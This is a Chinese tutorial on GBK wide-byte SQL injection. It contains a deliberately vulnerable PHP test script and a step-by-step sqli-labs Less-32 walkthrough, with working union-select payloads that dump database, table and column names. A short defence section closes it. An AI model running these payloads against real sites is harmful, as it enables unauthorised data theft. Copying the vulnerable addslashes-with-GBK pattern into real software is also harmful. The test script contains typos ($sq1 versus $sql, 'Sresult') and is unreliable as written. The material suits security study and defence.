SQL(寬字節注入)

GBK 佔用兩字節
ASCII佔用一字節
PHP中編碼爲GBK,函數執行添加的是ASCII編碼(添加的符號爲“\”),MYSQL默認字符集是GBK等寬字節字符集。
大家都知道%df’ 被PHP轉義(開啓GPC、用addslashes函數,或者icov等),單引號被加上反斜槓\,變成了 %df\’,其中\的十六進制是 %5C ,那麼現在 %df\’ =%df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MySQL用GBK的編碼時,會認爲 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。

前言

前面sql注入時最怕碰到的就是字符型注入,然後'被過濾,反正當時沒有什麼辦法解決,但寬字節注入給這樣的情況帶來了希望

寬字節注入原理

首先是編碼,之所以產生寬字節注入,就是因爲有不同的編碼方式。程序在進行一些操作之前經常會進行一些編碼處理,而做編碼處理的函數也是存在問題的,通過輸入轉碼函數不兼容的特殊字符,可以導致輸出的字符變成有害數據,在SQL注入裏,最常見的編碼注入是MySQL寬字節以及 urldecode/rawurldecode 函數導致的。

現在的Web程序大多都會進行參數過濾,通常使addslashes()mysql_real_escape_string()mysql_escape_string() 函數或者開啓magic_quotes_gpc=on的方式來防止注入,也就是給單引號(' )、 雙引號(")、反斜槓(\)和NULL加上反斜槓轉義。但是如果在使用PHP連接MySQL的時候,又設置了“set character_set_client = gbk" 時又會導致一個編碼轉換的注入問題,也就是我們所熟悉的寬字節注入。當存在寬字節注入漏洞時(存在addslashes等函數轉義),注入參數裏帶入%df%27(解碼爲�’),即可把程序中過濾的 \ ( %5c)喫掉。 舉個例子,假設/1.php?id=1裏面的id參數存在寬字節注入漏洞,當提交/1.php?id=-1' and 1=1%23 時,MySQL 運行的SQL語句爲select * from user where id='1\' and 1=1#'很明顯這是沒有注入成功的,我們提交的單引號被轉義導致沒有閉合前面的單引號,但是我們提交/1.php?id=-1%df' and 1=1%23 時,這時候MySQL運行的SQL語句爲:

select * from user where id='1運' and 1=1#'

這是由於單引號被自動轉義成 \’,前面的%df和轉義字符 \ 反斜槓(%5c)組合成了%df%5c,也就是“運”字,這時候單引號依然還在,於是成功閉合了前面的單引號。

出現這個漏洞的原因是在PHP連接MySQL的時候執行了如下設置:

set character_set_client = gbk

告訴MySQL服務器客戶端來源數據編碼是GBK,然後MySQL服務器對查詢語句進行GBK轉碼導致反斜槓\被%df喫掉。 而一般都不是直接設置character_set_client=gbk,通常的設置方法是SET NAMES 'gbk',但其實SET NAMES 'gbk'不過是比character_set_client gbk多幹了兩件事而已,即

mysql_query( "SET NAMES gbk");

SET NAMES 'gbk'等同於如下代碼:

character_set_client 客戶端使用的編碼,如GBK, UTF8 比如你寫的sql語句是什麼編碼的。
character_set_results 查詢返回的結果集的編碼(從數據庫讀取的數據是什麼編碼的)。
character_set_connection 連接使用的編碼

這同樣也是存在漏洞的。

下面對寬字節注入進行一個簡單測試。
測試代碼如下:

<?php
$conn=mysql_connect('localhost', 'root', '123456');
mysql_select_db("test", $conn);
mysql_query("SET NAMES 'gbk'", $conn);
$uid=addslashes($_GET['id']);
$sq1="SELECT * FROM userinfo where id=' $uid'";
$result=mysql_query($sq1, $conn);
print_r('當前SQL語句: '.$sql.'<br />結果: ');
print_r (mysql_fetch_row(Sresult));
mysql_close() ;

當提交/1.php?id=%df' union select 1,2,3,4%23時,成功注入的效果如圖4-3所示。
在這裏插入圖片描述
在代碼審計中,對寬字節注入的挖掘方法也比較簡單,只要搜索如下幾個關鍵字即可:

SET NAMES

character_set_client=gbk 

mysql_set_charset('gbk')

靶場練習——Sql-libs

Less-32

在這裏插入圖片描述
進入頁面輸入?id=1,出現上面的界面

然後我們加上’,如下圖,我們可以看到提示說我們的輸入被轉義爲了1\’…
在這裏插入圖片描述
這裏我們來試下寬字節注入,id=2%df’–+
在這裏插入圖片描述
查詢成功。
報字段:?id=-1%df’ union select 1,2–+
在這裏插入圖片描述
?id=-1%df’ union select 1,2,3–+
在這裏插入圖片描述
可知後臺查詢語句有三個字段,且2,3字段爲注入字段。

報數據庫:?id=-1%df’ union select 1,database(),user()–+
在這裏插入圖片描述
爆表:?id=-1%df’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+

?id=-1%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
在這裏插入圖片描述
爆字段:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
發現報錯:
在這裏插入圖片描述
原來忘記了,最後面的user的單引號也被過濾了。我們可以利用16進制進行繞過,表名字段使用十六進制即:user進行十六進制編碼:user=0x7573657273
即:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+
在這裏插入圖片描述
成功爆出。還有一種方法:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3--+

最後,報數據:
在這裏插入圖片描述

防禦

官方建議使用mysql_set_charset方式來設置編碼,不幸的是它也只是調用了SET NAMES,所以效果也是一樣的。 不過mysql_set_charset調用SET NAMES之後還記錄了當前的編碼,留着給後面 mysql_real_escape_string 處理字符串的時候使用,所以在後面只要合理地使用mysql_real_escape_string 還是可以解決這個漏洞的。關於這個漏洞的解決方法推薦如下幾種方法:

1) 在執行查詢之前先執行SET NAMES 'gbk'character_set_client=binary設置 character_set_client 爲binary。
2) 使用 mysql_set_charset(‘gbk’) 設置編碼,然後使用 mysql_real_escape_string() 函數被參數過濾。
3) 使用pdo方式,在PHP5.3.6及以下版本需要設置setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 來禁用 prepared statements 的仿真效果。

如上幾種方法更推薦第一和第三種。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章